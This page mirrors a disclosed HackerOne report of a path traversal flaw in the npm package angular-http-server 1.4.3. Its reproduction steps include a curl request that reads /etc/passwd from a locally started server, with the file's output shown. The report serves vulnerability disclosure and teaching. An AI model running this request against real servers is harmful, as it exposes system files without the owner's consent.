Skip to content
Path traversal Disclosed report Beginner

[angular-http-server] Server Directory Traversal

tungpun Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 9 days
  • Fixed in 30 days
  • Disclosed after 30 days

I would like to report a Server Directory Traversal vulnerability in angular-http-server. It allows reading local files on the target server.

Module

module name: angular-http-server version: 1.4.3 npm page: https://www.npmjs.com/package/angular-http-server

Module Description

A very simple application server designed for Single Page App (SPA) developers.

It returns a file to the browser if it exists (ex. your-icon.png, index.html) and if can't find a file that matches a given URL it re-directs you to index.html rather than giving a 404 error. The only time it will error out is if it can't locate the index.html file.

Originally designed for my Angular work, this server will work with any Single Page App (SPA) framework that uses a router to change the URL (React, Vue JS, Elm,...).

Steps To Reproduce:

  • Install the module:

$ npm i angular-http-server

  • Create the index file:

$ echo "hi" > index.html

  • Start the server:

$ ./node_modules/angular-http-server/angular-http-server.js -p 6060

  • Using the below request to access the file /etc/passwd on the target server:
$ curl --path-as-is 'http://127.0.0.1:6060//etc/passwd'

##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
...

Supporting Material/References:

  • node v8.10.0
  • npm 5.6.0
  • curl 7.54.0

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]

Impact

It allows reading local files on the target server

The original report as published on HackerOne, by tungpun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity path traversal bug in angular-http-server, rated CVSS 8.6. HackerOne made it public on 26 April 2018.

About Path traversal

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by tungpun

View all

11 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.